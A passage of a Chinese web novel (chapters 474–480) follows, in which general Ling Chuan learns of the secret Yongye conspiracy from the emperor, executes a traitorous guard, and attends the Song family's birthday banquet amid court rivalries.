皇帝闻言,却是摇了摇头,说道:“早着呢,昨夜到今天,抓捕和清除的只是一部分重要人物,永夜的强大超乎想象,很多人一直在帮永夜做事,却根本不知道永夜的存在!就好比血衣堂中那些杀手,除了极少数的核心成员之外,其他人都认为血衣堂是一个杀手组织,根本就没听说过永夜。” 紧接着,皇帝继续说道:“就算清除了永夜在神都的势力,但,这也只是让永夜的势力受创,他们的势力遍布帝国各州,甚至渗透进了周边其它帝国,想要彻底扳倒他们,还早得很!” 听到这话,凌川再次倒吸了一口凉气,他很难想象,这是一个何等庞大的组织,又是一个什么样的人,在掌控这样的一个组织。 “这些人并非底层百姓这样的散兵游勇,他们之中的高层大多依附于帝国高层,亦或是那些世家门阀之中,政权、兵权、财权样样不缺,借用朝廷的来养活自身,而这,正是他们能一直运转的主要原因!” 第一卷 第475章 一场豪赌 皇帝脸上满是无奈,苦笑道:“从某种角度来说,是朕亲手在养着这帮乱臣贼子!” “那黄千浒齐清远这两大文官集团呢?他们是不是永夜的人?”凌川终于问出了关键的问题。 “早些年,朕也有过这样的怀疑,但经过近些年通天卫和廷尉府的调查发现,这二人反而不是永夜的人,亦或者说,到了他们这个层次,不甘心被永夜掌控,成为任人操控的棋子,不过,苏定方确实利用他二人手中的力量来完成了布局,或许,他们自己也知道永夜的意图,他们同样想要除掉苏定方,在相同的目标面前,他们自然是乐意出手的!”皇帝说道。 忽然,皇帝停下脚步,转过身,目光如炬地看向他,语气变得无比严肃:“所以,凌川,你须明白!即便朝堂之上,乃至整个神都的‘永夜’势力都被清除,黄千浒和齐清远,依旧会视你为眼中钉、肉中刺,会想尽一切办法置你于死地!你如今,除了坚定地站在朕这一边,别无选择!”这是一种陈述,更是一种不容置疑的警告,带着帝王特有的威压。 凌川深吸一口夜间的凉气,抱拳行礼,声音清晰而坚定:“陛下,早在望云关时,臣便对三殿下说过。我凌川,可以做那把为帝国剜除腐肉、刮骨疗毒的刀,但绝不会做任何人用来清除异己、单纯巩固一家一姓之皇权的刀!” 他的脊梁挺得笔直,目光毫不退缩,表明这并非意气用事,而是不可动摇的立场。 皇帝凝视着他,眼中竟闪过一丝复杂的欣赏,随即化为一声悠长的叹息,点了点头。 “你这句话让朕想起了丁爻,昨夜,他在御书房与朕设局除掉了大太监晋槐安,今日却身死,他或许是用这种方式告诉朕,他始终是站在朕这边的人!但,双面碟子是他永远也洗不掉的污点,故而选择用这样的方式结束自己的一生!” 皇帝再次长叹了一口气,说道:“想想,也真是可悲啊!这天底下的芸芸众生,在大势之下皆为蝼蚁,没有人能真正掌控自己的命运,哪怕是朕也不例外!对于朕来说,这是一场豪赌,赌赢了,便可成功为帝国续命,赌输了,大周国祚崩塌,彻底成为历史!” “其实,朕心里也很怕,怕百年之后的史书中,回被后世史官冠以亡国之君的名衔,更怕千百年后被后人定义为民族的罪人!” 凌川抬起目光,勇敢地迎向皇帝那带着疲惫与彷徨的视线,轻声问道:“陛下,若……真要在‘亡国之君’与‘民族罪人’这两者之间,必须选一个,您会选什么?” 皇帝凝实他片刻,嘴角忽然勾起一抹带着无尽苦涩与洞悉的轻笑声:“凌川,你要明白,这世上很多时候,压根就没有给你选择的机会!朕从小立志勤勉朝政、扫除四方蛮夷、惩治官场贪腐、铲除世家豪门,可真当朕坐上那九五至尊的位置才明白,想要做成每一件事,就势必要动一些人的利益,每一件事的背后都牵扯太多的人,要么是朝堂重臣,要么是手握重兵的将领,亦或是富甲一方的世家豪门,牵一发动全身,一子落错便会动摇国之根本!” “可眼下的大周已经是满目疮痍,病入膏肓了……”凌川说道。 皇帝的眼中迸发出一种破釜沉舟的决绝光芒,“所以……朕才会不计代价,赌上这最后一把!以大周三百年的国祚为赌注,以朕身后的名声为代价,来一场惊天豪赌!” 他的目光变得无比凌厉,如同即将出鞘的宝剑,紧紧锁定凌川。 “所以,朕才需要你这把刚直、锋利的快刀,来斩断朝堂官员与世家豪门之间那千丝万缕、肮脏不堪的利益联系,打破这僵死腐朽的格局,重新构建秩序!哪怕朕心知肚明,这把刀到最后,极有可能伤到朕自己,甚至……会要了朕的性命,朕,也在所不惜!” 他将“在所不惜”这四个字咬得极重,每一个音节都仿佛带着千钧之力。 凌川只感觉心头猛地一震,一股寒意自脊椎升起;显然,皇帝完全明白,若真按照凌川的理念和手段推行下去,最终的刀锋,很可能无法避免地指向皇族自身。 可正如皇帝刚才所言,如今的局势,偌大的神都,不知道有多少人想要将他凌川打入十八层地狱,永世不得翻身,他除了选择皇帝,根本没有其他选择。 而皇帝同样也陷入了没有选择的绝境,他必须启用凌川这把可能伤己的快刀,才有可能为帝国斩出一条生路,这是一种相互依存,又充满危险与算计的共生关系。 “朕知道,朕此刻说的这番话,你未必会全信!”皇帝的声音恢复了平静,但那平静之下,是看透一切的苍凉。 “如果,此次豪赌最终输了,那么一切都不再重要,是非功过,任由后人评说。但如果……万一赌赢了,当一切尘埃落定的那一刻,朕会给你,乃至给苏家满门,一个应有的交代!” 说完,他不等凌川回应,便伸手接过了凌川一直提着的灯笼,不再看他,独自一人提着那点昏黄的光晕,迈步向前走去。 皇帝的背影在蜿蜒的宫道和浓重的夜色中,显得异常孤独与决绝。 “凌川,你记住,如果没有人为你遮风挡雨,你得学会……自己披荆斩棘!”他的声音随着夜风,清晰地传入凌川耳中,如同最后的告诫与赠言。 声音落下,那道提着灯笼的孤独身影,也彻底消失在了道路的尽头,仿佛被深宫的黑暗所吞噬。 凌川在原地怔怔地站了许久,夜风吹拂着他的衣袂,却吹不散心头的万钧沉重。 皇帝的坦诚、苏定方就义的真相、永夜的巨大阴影、未来的艰难险阻……无数信息交织碰撞,让他脑子里如同一团被彻底搅乱的麻线,找不到任何头绪,只剩下无尽的混乱与压抑。 第一卷 第476章 归还龙牙 也不知过了多久,刘恩赐才迈着小碎步来到他身后,用恭敬语气小声提醒道:“将军,时间不早了,咱们……回府吧?” 凌川仿佛这才从纷乱的思绪中被惊醒,他有些麻木地点了点头,声音带着一丝不易察觉的沙哑:“有劳公公!” 在刘恩赐的引领下,凌川沉默地离开了这座象征着权力顶峰,也充满了无数秘密与危机的皇宫。 宫门外,刘公公早已命人备好了一辆崭新的马车。 回府的路上,街道空旷,并未发生任何意外,一路相安无事。 然而,那股自昨夜起便笼罩在整个神都上空的紧张、肃杀氛围,却如同化不开的浓雾,依旧沉甸甸地压在城市的上空,没有丝毫散去的迹象。 回到王府,裴骁带领的禁军早已散去。 眼见凌川安然归来,一直焦急等待的苍蝇与苏璃等人,悬着的心终于落下,皆是长舒了一口气,紧绷的气氛也随之缓和了几分。 凌川对苏璃投去一个安抚的眼神,温声道:“夜深了,娘子快去休息吧!” 然而,苏璃的神色却异常复杂,担忧、困惑,还有一丝难以言喻的悲伤交织在一起。 她并未依言离开,而是上前一步,小声说道:“相公,阎都统来了,在正堂等你!” 苏璃的眼眸中带着尚未平复的波澜。 凌川眉毛微挑,随即对苏璃点了点头,便快步穿过庭院,走向灯火通明的正堂。 只见阎鹤诏如同一尊冰冷的雕像,端坐在堂内主位之下的一张酸枝木椅上。 他依旧是那副万年寒冰般的神色,面容冷峻,目光锐利如刀,周身散发着生人勿近的凛冽气息,让人望而生畏。即便是熟悉的凌川,每次见到他,也难免感到一丝无形的压力。 “让阎都统久等了!”凌川抱拳,迈过门槛走了进去。 阎鹤诏没有多余的寒暄,只是不动声色地从怀中取出一把匕首,动作平稳地递到凌川面前的桌案上。 “物归原主!”他的声音平淡无波,听不出任何情绪。 这正是当初杨铁匠所铸的那对匕首之一的龙牙。 当日阎鹤诏向凌川借走此匕,凌川虽心中存有一丝戒备,担心对方会借此匕首行不轨之事并栽赃自己,但阎鹤诏当时明确表态,他不屑于行此龌龊伎俩。 基于对这位廷尉府都统行事风格的了解与几分信任,凌川最终应允。 也正是在今日与皇帝的谈话中,凌川才得知,昨夜在御书房那场惊心动魄的搏杀中,廷尉府总督丁爻,正是凭借这把锋锐无匹的龙牙,才得以破开大太监晋槐安身上那件号称刀枪不入的御用软甲,为最终诛杀此獠立下关键一功。 否则,昨夜能否成功除掉那位半步宗师境的巨宦,恐怕还是未知之数。 收起匕首,凌川与阎鹤诏相对而坐,这一聊,便是将近一个时辰。 话题从昨夜至今这场针对永夜的雷霆清洗,蔓延到以黄千浒与齐清远为首、盘根错节的两大文官集团未来的动向,再深入到永夜那触角遍布帝国乃至周边国度的庞大势力网。 当然,凌川也并未完全被动接受信息,他巧妙地借着讨论的机会,试图从阎鹤诏这位深知内情且相对客观的廷尉府高层口中,套取、验证一些关键信息。 他需要以此来佐证之前皇帝在御花园中对他说出的那番惊人之语,关于苏定方以身入局的真相,究竟有几分可信。 阎鹤诏何等人物,岂会看不出他那点试探的心思? 他嘴角勾起一抹几不可察的冷笑,直言不讳道:“小子,想问什么就大大方方地问,不必拐弯抹角,陛下已有交代,凡你所想知晓之事,皆可告知于你!” 听到这话,凌川脸上顿时闪过一丝尴尬,摸了摸鼻子。只听阎鹤诏继续用他那冰冷的语调说道:“在你之前,知道苏家案真相的人,只有两个,一个是我,一个是陛下!另外,在你回府之前,本官已将相关消息,先行告知了苏小姐!” 凌川内心猛地一惊,连忙追问:“都说了?所有事情?” 阎鹤诏面无表情地点了点头:“本官所知晓的,都已据实相告。至于你是否还做了其他什么本官不知道的事情,那就不得而知了!” 凌川闻言,脸上不由得露出一丝无奈的苦笑。 难怪方才在门口见到苏璃时,她的神色那般复杂难言,远不止是担忧自己的安危,原来是因为骤然得知家族惨案的残酷真相,以及背后牵扯的庞大阴谋,心神遭受了巨大的冲击。 他原本还在犹豫,是否要将永夜之事以及苏大将军的真正死因告诉她,没想到阎鹤诏竟已代劳,这让他心中五味杂陈,既松了口气,又更加心疼苏璃。 沉吟片刻,凌川又将话题引向了今日的另一桩要事:“丁总督之死,阎都统怎么看?” 阎鹤诏闻言,那双冰封般的眸子骤然转向凌川,目光锐利得仿佛要刺穿他的内心。 他没有直接回答,反而用一种极其认真的口吻反问道:“凌川,如果你能帮助东疆水师,挡住大和帝国那号称十万之众的凶悍水军,那么,本官向你保证,一定将大和使团上下所有人的脑袋,一个不落地,永远留在神都这片土地上!”他的话语中带着一股铁血般的杀伐之气。 凌川闻言先是一愣,随即不由得苦笑摇头:“阎都统这是在开什么玩笑?我凌川虽为武将,但根基在北疆,于步战骑战或有些许心得,如何能插手千里之外东疆水师的事务?更何况,我对东疆的海域、兵力部署、舰船配置乃至敌情动向皆是一无所知,此事实在是无能为力!”他摊了摊手,表示这完全是强人所难。 然而,阎鹤诏脸上的神色却没有半分玩笑之意,他紧紧盯着凌川,语气是前所未有的笃定:“本官从不开玩笑。如果说,这偌大的神都之中,真有一人具备这样的能力,那么,此人必定是你,凌川!” 听到这话,再结合阎鹤诏那毫不作伪的认真神态,凌川心中猛地一凛。 他意识到,阎鹤诏此言绝非随口说说,更不是天方夜谭般的玩笑,其背后必然有着更深层的考量。 第一卷 第477章 猝不及防 “北疆那边那边的情况,你怎么看?”阎鹤诏话锋一转,又将问题抛回了凌川熟悉的北疆战场。 凌川略一思索,便条理清晰地分析道:“以我看来,拓跋桀此举,至少有两层意图。其一,是做样子给天汗城的新汗拓跋青霄看,显示其态度与决心,稳固自身地位;其二,则是试探性的进攻,若能趁机拿下玉门关和蓟北原自然最好,即便拿不下,也能借此摸清我军布防虚实,提前布置,为下一次可能爆发的全面大战做好准备。” 阎鹤诏听完,微微颔首,显然认可凌川的判断,“既然如此,北疆局势尚在可控范围,暂时不足为虑!你便安心谋划东疆的破敌之策吧!陛下与本官,皆拭目以待!” “阎都统,丁总督的死因查清楚了吗?”凌川试着问道。 阎鹤诏眼神中闪过一丝异色,说道:“此事是廷尉府其他人在负责,怎么,有问题?” 凌川从怀里掏出一块玉牌,放到阎鹤诏面前:“都统大人看看这个!” 见到这枚玉牌,阎鹤诏眼神猛然一凝,连忙拿起来仔细端详。 只见玉牌正面雕琢一条腾空而起的五爪苍龙,龙首高昂,口衔炽热日轮,龙身蜿蜒盘旋,云纹环绕,背面刻篆体乾元二字,象征天命所归。 “丁总督临死前将这块玉佩死死攥在手里,怎么,阎都统认得这块玉牌?”凌川试着问道。 阎鹤诏没有回话,而是一脸凝重地问道:“还有谁知道?” “当时,末将手下不少亲兵都在场!”凌川如实回答。 “让你手下亲兵管好嘴,此时关系重大,我得立马入宫面圣!”阎鹤诏猛然起身,一脸慎重地说道。 凌川连忙拉住他,说道:“大人……” “放心,我不会说是你给我的!”阎鹤诏自然明白凌川想说什么。 他刚从宫里回来,要是回头阎鹤诏将玉牌交给皇帝,那岂不是印证了之前自己对皇帝有所隐瞒,真要追究起来,那可是欺君之罪。 凌川目送阎鹤诏匆匆离去的背影消失在门外,心中五味杂陈。他转身回到房间,只觉得今日虽未经历沙场搏杀,但心神消耗远胜以往,一股深切的疲惫感从骨子里透出来。 苏璃正靠在床头,显然毫无睡意。 凌川轻轻走过去,将她温软的身子揽入怀中,低声问道:“阎都统,都跟你说了?” 苏璃在他怀里轻轻点头,声音带着一丝不易察觉的颤抖:“嗯!” 她沉默片刻,抬起头,在昏暗的光线下凝视着凌川的眼睛,那眼神里充满了迷茫与寻求依托的不安,“相公,你觉得他们的话,可信吗?” 凌川缓缓摇头,坦诚道:“我不知道!”他顿了顿,又试探着问道:“这位阎都统,跟你们苏家,是不是有什么特殊关系?” “那倒也没有!”苏璃依偎在他胸前,轻声解释,“他那样的人,性情冷硬,据说在朝中基本没有朋友。但父亲生前曾评价过他,说他是个难得刚正不阿的诤臣。而他似乎也一直很敬重父亲的为人!” 凌川轻轻抚摸着苏璃的秀发,问出了那个两人都无法回避的问题:“如果……如果陛下和阎都统所言都是真的,岳父大人真是以身入局,我们该怎么办?” 苏璃的脸色在烛光下显得异常苍白和凝重,她再次摇头,眼神痛苦而挣扎:“我不知道……我真的不知道……” 凌川能清晰地感受到怀中娇躯的轻微颤抖,知道她内心正经历着怎样的矛盾与煎熬。 一夜之间,杀父仇人似乎变成了忍辱负重的盟友,这猝不及防的反转,足以让任何人无所适从。 “娘子,别想太多!”凌川收紧手臂,给她更坚实的依靠,“真相总有水落石出的一天。眼下,陛下既然已经按照岳父大人生前的布局开始收网,我们不妨静观其变。虽然眼下看来还不会动那几条大鱼,但我向你保证,绝不会让他们逍遥法外!”他的声音低沉,却带着不容置疑的决心。 “我相信你,相公!”苏璃的声音带着哽咽,“只是这一切转变得太快,太突然,我一时间,真的难以接受!” 房间里陷入短暂的沉默,只有烛芯偶尔爆开的轻微噼啪声。 过了一会儿,苏璃似乎想起了什么,从凌川怀中抬起头,拭了拭眼角的湿润,说道:“相公,明日是外公的寿辰。我们既然回到了神都,我想去给他老人家祝个寿吧!” 凌川自然是满口答应,没有任何犹豫:“这于情于理都是应该的。只是不知外公家住在何处?我们该好好准备一份寿礼!” 苏璃的神色更加黯然了几分,她轻声介绍道:“母亲的娘家本是显赫一时的书香门第宋家,一度能与青州叶氏齐名。可惜近些年来人才凋零,尤其是……一年前苏家倒台之后,宋家也受到牵连,处境一落千丈!” 她顿了顿,语气带着惋惜,“舅舅原本在文渊阁担任领事,德高望重,若无意外,再过几年,极有可能坐上大学士之位。可经此事件之后,却被贬为校理,闲散至今!” 凌川握住她的手,温言道:“虽然岳母大人不在了,但我们作为晚辈,理应登门拜访,尽孝道。更何况是外公寿辰,如果不到场,岂不是失了礼数,更寒了老人的心?” 苏璃感受到他手心的温暖,点了点头:“嗯!我也许久没见到外公和外婆了!” 二人相拥而眠,虽各有心事,但在彼此的体温中,也渐渐寻得了一丝安宁。 次日一早,天际刚泛起鱼肚白,凌川依旧雷打不动地起床晨练。 然而,他刚活动开筋骨,值守的沈珏便快步来报,神色带着一丝不同寻常的严肃:“将军,蓝将军来了!” 凌川略感诧异,这么早,蓝少堂突然来访所为何事?但他并未怠慢,整理了一下衣袍,便亲自到门口迎接。 来到王府门口,只见蓝少堂脸色阴沉似水,与他平日爽朗的形象大相径庭。 他身后,两名身着禁军甲胄的士兵,正一左一右架着一个人。 第一卷 第478章 叛徒朱彦 那人浑身血迹斑斑,软软的耷拉着脑袋,气息奄奄,身上的禁军制式皮甲破损不堪,赫然正是此前被安排负责王府护卫的禁军校尉——朱彦! 凌川看到朱彦这般模样,心中其实已大致猜到了原因,但面上仍故作不解,上前一步问道:“蓝将军,你这是?” 蓝少堂看了凌川一眼,眼神复杂,沉声道:“先进去再说!”他的声音压抑着怒火。 一行人沉默地穿过前院,来到相对僻静的后院,凌川与蓝少堂在石凳上相对而坐,气氛凝重。 那两名亲兵则将奄奄一息的朱彦强行按压着跪倒在两人面前。 “跪下!”蓝少堂猛地一拍石桌,怒声喝道。 他居高临下地俯视着这位自己一手提拔起来的亲信,痛心与愤怒交织在脸上:“朱彦!你可是我一手从普通士卒提拔起来的!正是出于对你的绝对信任,才将这护卫凌将军安危的重任交给你!你……你为何要背叛?为何要辜负我的信任?”最后一句,几乎是咬着牙问出来的。 昨日,重伤垂死的丁爻刚翻进王府后院不久,裴骁率领的禁军就仿佛未卜先知般迅速赶到,不由分说便要拿人。 若非皇帝事先留下了那道口谕,凌川恐怕真要被带走,陷入极大的被动。 当时凌川就怀疑内部有人泄密,否则裴骁的行动不可能如此迅捷精准。 他从北疆带来的亲兵皆是生死与共的兄弟,绝无问题,那么泄密的嫌疑,自然就落到了负责外围警戒的朱彦及其麾下禁军头上。 而且,在整个过程中,朱彦本人始终未曾露面,这无疑更加坚定了凌川的猜测。 昨晚从皇宫回来后,凌川还特意询问过为何不见朱彦,苍蝇告诉他,朱彦及其所属的那一营禁军,在事发后不久就被蓝少堂紧急召回营地了。 紧接着,洛青云便将自己那三百多名骑兵调了过来,配合凌川的亲兵重新布防。 此刻,被扒掉铠甲的朱彦低垂着头,散乱的头发遮住了他的脸,他没有为自己辩解一句,只是肩膀微微耸动,喉咙里发出压抑的、如同受伤野兽般的呜咽声。 “将军……朱彦愧对您的信任,我无话可说,只求速死!”他抬起头,脸上混杂着血污和泪水,眼神中充满了痛苦和绝望,声音颤抖得不成样子。 “死?”蓝少堂怒极反笑,“你想以死求得解脱?门都没有!趁着现在此事还未禀告圣上,你把事情原原本本给我交代清楚!否则,就不止是你一个人头落地,而是你的妻儿跟着一起被牵连!” 凌川静静坐在一旁,面无表情,仿佛一个置身事外的看客,并未插话。 听到这话,朱彦浑身剧烈一颤,眼中的绝望更深,取而代之的是巨大的恐惧和对家人的愧疚。 他猛地以头抢地,磕得砰砰作响,带着哭腔喊道:“属下愿意交代!属下愿意交代!” 随后,他便断断续续地坦白起来…… 原来,在他还未被选入禁军之时,便被永夜的人找上,威逼利诱之下,成了他们安插的棋子。 此后,正是凭借永夜在暗中的助力,他才能顺利进入禁军,并且屡立功劳,得以快速晋升为校尉。 “将军,除了昨日接到永夜的命令,构陷凌将军之外,卑职从未给他们做过任何危害朝廷的事情啊!卑职愿以死谢罪,只求将军……只求将军不要牵连我的家人,他们是无辜的!他们是无辜的啊!”朱彦痛哭流涕,几乎瘫软在地。 “你自己犯下的错,谁也保不了你!”蓝少堂余怒未消,但语气中似乎又带着一丝引导,“想要你的家人活命,你该求的人不是我!” 听到这里,凌川心中顿时了然。 蓝少堂闹出这么大阵仗,将朱彦打得半死又带到这里来审讯,原来是在这里等着自己。 他绕了这么大一个圈子,无非是想演一出苦肉计,利用自己的同情心或者某种交易,来争取保下朱彦的性命。 眼下,自己已经被架到了这个位置,若不表态,于情于理都说不过去。 “凌将军!凌将军……”朱彦仿佛抓住了最后一根救命稻草,挣扎着转向凌川,用尽力气哀求道,“卑职也是被逼无奈啊!求求您,求求您高抬贵手,放过我的家人吧!卑职……卑职愿来世做牛做马,报答您的大恩大德!” 凌川看着眼前这个狼狈不堪、苦苦哀求的叛徒,眼中没有丝毫波澜。 他对永夜的恨意,已深入骨髓,尽管苏定方之死是其以身入局,黄千浒、齐清远等人也难辞其咎,但真正的罪魁祸首,始终是那个隐藏在幕后的永夜! 任何与永夜勾结、助纣为虐者,在他眼中都不可饶恕! “好!”凌川淡淡地回应了一个字,声音平静得可怕。 话音未落,他闪电般出手,拔出站在旁边一名禁军腰间的佩刀,刀光一闪,精准而狠辣地贯穿了朱彦的胸膛。 “嗤!” 利刃穿透皮肉的声音格外清晰,一抹殷红的鲜血瞬间从伤口喷射而出,溅在青石板上,留下刺目的痕迹。 朱彦身体猛地一僵,双眼骤然瞪大,嘴里不断涌出带着气泡的鲜血。 然而,出乎意料的是,他眼神中并没有临死前的恐惧和怨恨,反而流露出一种彻底解脱之后的轻松。 他用最后残存的气力,将恳求的目光投向凌川和蓝少堂,断断续续地说道:“二位将军,请你们……信守……承诺……我先走……一步了……” 蓝少堂显然没料到凌川会如此果决,出手如此狠辣,他甚至来不及出声阻止,只能眼睁睁看着朱彦气绝身亡,倒在那滩血泊之中。 他带朱彦来这里,本意是想争取一线生机,却没想到凌川对永夜的恨意如此之深,下手毫不留情。 凌川面无表情地将手中染血的战刀抛还给那名目瞪口呆的禁军士兵,然后转向脸色难看的蓝少堂,语气平静却带着一丝冷意: “蓝将军,今日之事,若非是看在你曾于我有恩的份上,他别说想保住家人,就算是想要一个痛快的了断,都是一种奢侈!” 蓝少堂看着地上朱彦尚有余温的尸体,又看了看眼神冰冷的凌川,最终沉重地点了点头,仿佛瞬间苍老了几分:“你说得对,永夜中的所有反贼,都死不足惜!” 这句话,像是在说服凌川,更像是在说服他自己。 第一卷 第479章 神都宋家 吃过早饭后,凌川便开始琢磨,今日要去宋家贺寿,该准备什么样的寿礼才合适。 这着实是个难题,礼物若太贵重,难免显得张扬招摇,且一时之间也难以购置到既显心意又不落俗套的珍品;可若是太轻,又难免让人觉得不懂礼数,轻视了长辈。 就在他沉吟之际,总管刘恩赐迈着他那标志性的小碎步,无声无息地走了进来。他手中恭谨地托着一道圣旨。 凌川见状,下意识地就要起身跪拜接旨。 “将军免礼,这道圣旨,不是给将军您的!”刘恩赐连忙上前一步,脸上堆着恭敬的笑容。 凌川止住身形,心中疑惑更甚:“不是给我的?那这是?” 刘恩赐微微躬身,将圣旨双手奉到凌川面前,“今日是宋家老爷子宋鹤年的寿辰,陛下让将军您,代为前去宣旨!” 凌川伸手接过圣旨,内心却掀起了惊涛骇浪。 今日准备去宋家贺寿之事,除了他与苏璃私下商议,绝无第三人知晓,陛下是如何得知的? 他选择在这个时机送来圣旨,让自己去宋家宣旨,究竟是早已料到自己会去,故而顺水推舟?还是说,这仅仅是一个巧合? 无论是哪一种,都让凌川感到一股无形的、无所不在的压力。这位深居宫中的皇帝,其心思之缜密,耳目之灵通,远远超出了他的想象。 宋家,这个曾经显赫无比的家族,虽已没落,近几代再未出过能够跻身权力中枢的顶尖人物,朝堂之上,如今也只有宋敬芝一人在勉力支撑。 但正所谓瘦死的骆驼比马大,这个曾经能与青州叶家分庭抗礼的百年士族,在神都的士林清议乃至官场底层,依旧拥有着不可小觑的潜在影响力。 今日,是宋家老爷子宋鹤年的寿辰,宋府上下,早在几日前便开始张灯结彩,筹备寿宴,力图重现几分往日的荣光。 宋老爷子宋鹤年,曾是文渊阁大学士,更担任过多次科考主考官,门生故旧遍布天下。 放眼朝堂、神都乃至各州郡县,不知有多少官员曾是他的学生,受过他的提携或指点,那是真正的桃李满天下。 那张庞大而绵密的关系网,才是宋家真正的根基所在。 正是凭借着这深厚无比的底蕴和人脉,宋家才能在人才凋零的情况下,依旧在帝国占据一席之地。 然而,一年前的那场政治风暴,苏家的轰然倒塌,作为姻亲的宋家首当其冲,遭受了毁灭性的牵连。 宋家的地位一落千丈,朝堂之上的独苗宋敬芝更是被一贬再贬,从权力边缘被彻底踢出核心圈。 曾经许多依附于宋家、仰其鼻息的人,见风使舵,立刻与宋家划清界限,更有甚者,为了向新的当权者表忠心,转而开始不遗余力地打压宋家,可谓是墙倒众人推。 老爷子宋鹤年膝下有三子一女,长子宋敬芝,如今是文渊阁校理,一个清贵却无实权的闲职。 次女宋令仪,嫁与前任南系军主帅苏定方为妻,一年前夫妻二人一同赴死。 三子宋砚声,原本在徐州任别驾,前途尚可,却因去年一场突如其来的洪水导致半座徐州受灾,尽管他已在第一时间全力救灾,最终仍被问责,丢掉了乌纱帽,黯然回京。 小儿子宋云舟,原为梧州长史,也因苏大将军一案的牵连,被一纸诏令召回神都,随后便如石沉大海,再无人过问,就这么不明不白地丢了官职。 尽管宋家底蕴深厚,但在黄千浒和齐清远这两大文官巨头的有意无意打压下,也只能勉力维持,日渐艰难。 就连宋老爷子自己心里也清楚,照此下去,多则三年,少则一年半载,曾经显赫的宋家,恐怕真的要被这残酷的政治倾轧吞噬殆尽,被吃得连骨头都剩不下。 毕竟,有了苏家满门抄斩的前车之鉴,再倒下一个日渐式微的宋家,在这波谲云诡的神都,又算得了什么稀奇事呢? 可悲的是,宋家上下,如今只能眼睁睁看着家族这艘大船不断下沉,情况越来越糟,却什么也做不了,那种无力感,足以磨灭任何人的心气。 巳时刚过,宋府门前便开始热闹起来,陆陆续续有宾客抵达。 其中不乏神都的豪门贵胄、以及一些品级不算太高却手握实权的达官显贵。 这些人,若是放在权力中枢的朝堂之上,或许只能靠边站,但若是放眼神都乃至整个帝国,却也都是能呼风唤雨、举足轻重的人物。 他们前来,或多或少还念着宋老爷子当年的香火情,或是看重宋家那尚未完全消散的潜在影响力。 原本在府门口负责迎接宾客的,是宋老爷子的大儿子宋敬芝以及府上的老管家。 宋敬芝虽被从文渊阁二把手贬至闲散职位,但举止依旧保持着士大夫的儒雅,只是眉宇间难掩落魄与忧色。 可就在宾客络绎不绝之时,一名身着鹅黄色华贵衣裙、容貌明丽的年轻女子,却脚步轻快地从中门内跑了出来,俏生生地站到了门口,一双灵动的美眸不断向街道两端张望,似乎在急切地等待着什么人。 “清欢,你怎么出来了?”宋敬芝看到这位侄女,有些诧异地问道。 名为宋清欢的女子转过头,对着他展颜一笑:“大伯,父亲让我来接一位重要的客人!” “哦?重要的客人?”宋敬芝看着她那神秘兮兮又的模样,不禁心生好奇,“是谁呀?” 宋清欢朝着前方努了努嘴,说道:“诺,这不就来了吗?” 宋敬芝抬眼望去,顿时神色一变,因为门口忽然出现两辆马车,前方那辆马车的车帘之上绣着一个硕大的‘黄’字,显然,那是首辅府的马车。 而略微落后那辆同样来历不凡,乃是吏部左侍郎安清呈的座驾。 对于这两辆马车,宋敬芝都不陌生,但他们出现在宋府门口,却让他十分震惊,因为,这些年来,无论是黄千浒还是安清呈都没少对宋家落井下石,他们今日前来,怕也不是诚心贺寿那么简单。 第一卷 第480章 上门贺寿 车帘掀动,下来的却不是众人预想中的黄千浒,而是其幼子黄英弘。 只见他锦衣华服,手持一柄泥金折扇,眉眼间尽是掩不住的倨傲。 紧随其后的另一辆马车上,吏部左侍郎安清呈的独子安济也快步走下,一路小跑至黄英弘身侧,姿态谦卑,宛如跟班。 黄英弘啪地一声抖开扇面,步履从容地走向宋府大门,目光在门楣上那略显陈旧的匾额上一扫而过,嘴角勾起一抹若有若无的讥诮。 “宋校理……”他嗓音拖长,刻意将‘校理’二字咬得极重,仿佛在咀嚼什么有趣的事物,“本公子不请自来,不会连杯寿酒都讨不到吧?” 宋敬芝面色尚未变化,其侄女宋清欢已如蝶穿花般热情地迎了上去,笑靥如花:“黄公子、安公子大驾光临,蓬荜生辉,快请里面上坐!” “清欢!”宋敬芝声音陡然一沉,面覆寒霜,“是你请他们来的?” 宋清欢浑然未觉伯父语气中的凛冽,反而带着几分炫耀,扬声道:“是父亲特意吩咐我去送的帖子!” 此言一出,宋敬芝脸色更是难看。 黄英弘将折扇轻摇,似笑非笑地追问:“哦?看来宋校理是不欢迎我等了?” 安济立刻在一旁阴阳怪气地帮腔:“黄公子,早听闻宋家门槛高,等闲人入不得眼,今日一见,果然名不虚传呐!” 宋敬芝深吸一口气,压下心头翻涌的怒意,神色恢复平静,语气却是不卑不亢:“若二位是诚心为家父祝寿,宋家自当以礼相待。若是存心搅扰,恕宋府庙小,容不下大佛!” 正说话间,又有宾客抵达,宋敬芝不再理会二人,与老管家一同转身迎客,宋清欢则已殷勤地引着黄英弘与安济步入府内。 三人刚一踏入庭院,原本喧闹的场面为之一静。 诸多目光齐刷刷投射过来,惊疑、审视、不解……种种情绪在空气中无声交织。 谁人不知,黄首辅多年来对宋家明里暗里多有打压?那安清呈更是首辅门下忠犬,指哪咬哪。如今这两家的后辈竟联袂出现在宋老爷子的寿宴上,此事实在耐人寻味。 窃窃私语声如潮水般在宾客间蔓延开来。 “这……宋家这是终于撑不住,要低头了?” “不像啊,你看宋家大郎方才那脸色……” “莫非是黄阁老改变了心意,欲与宋家修好?” “修好?怕是宴无好宴,来看戏的吧……” 各种猜测在人们心头盘旋,原本喜庆的寿宴,无形中蒙上了一层难以言喻的紧张氛围。 后院里,老管家步履匆匆,将前院情形低声禀告了正在品茗的宋老爷子宋鹤年。 “胡闹!” 只听‘啪嚓’一声脆响,宋鹤年手中的青瓷茶盏被狠狠掼在地上,顿时碎片四溅,温热的茶汤泼洒一地,香气氤氲而出。 老爷子胸口剧烈起伏,一张饱经风霜的脸因愤怒而涨红。 “老爷,您保重身子,莫要动气啊!”老管家连忙上前,一边替他抚背顺气,一边忧心劝道。 他在宋府侍奉数十载,深知老爷子看似随和,内里却极重风骨,此事无异于触碰了他的逆鳞。 “去!”宋鹤年颤抖着手指向门外,声音带着不容置疑的厉色,“立刻把那个逆子给我叫来!” 此时的宋砚声,正穿梭于宾客之间,满面春风。 半月前,女儿宋清欢告知他,在城中偶遇首辅幼子黄英弘,二人相谈甚欢,这让他那颗沉寂多年的仕途之心重新活络起来。 他私下在醉仙楼设宴,虽未能请动黄千浒亲临,但其长子黄英杰携幼弟黄英弘到场,已是意外之喜。 那黄英杰年纪虽轻,却已是户部员外郎,官场中人多有传言,谓其不出十年必入内阁,承继父业。 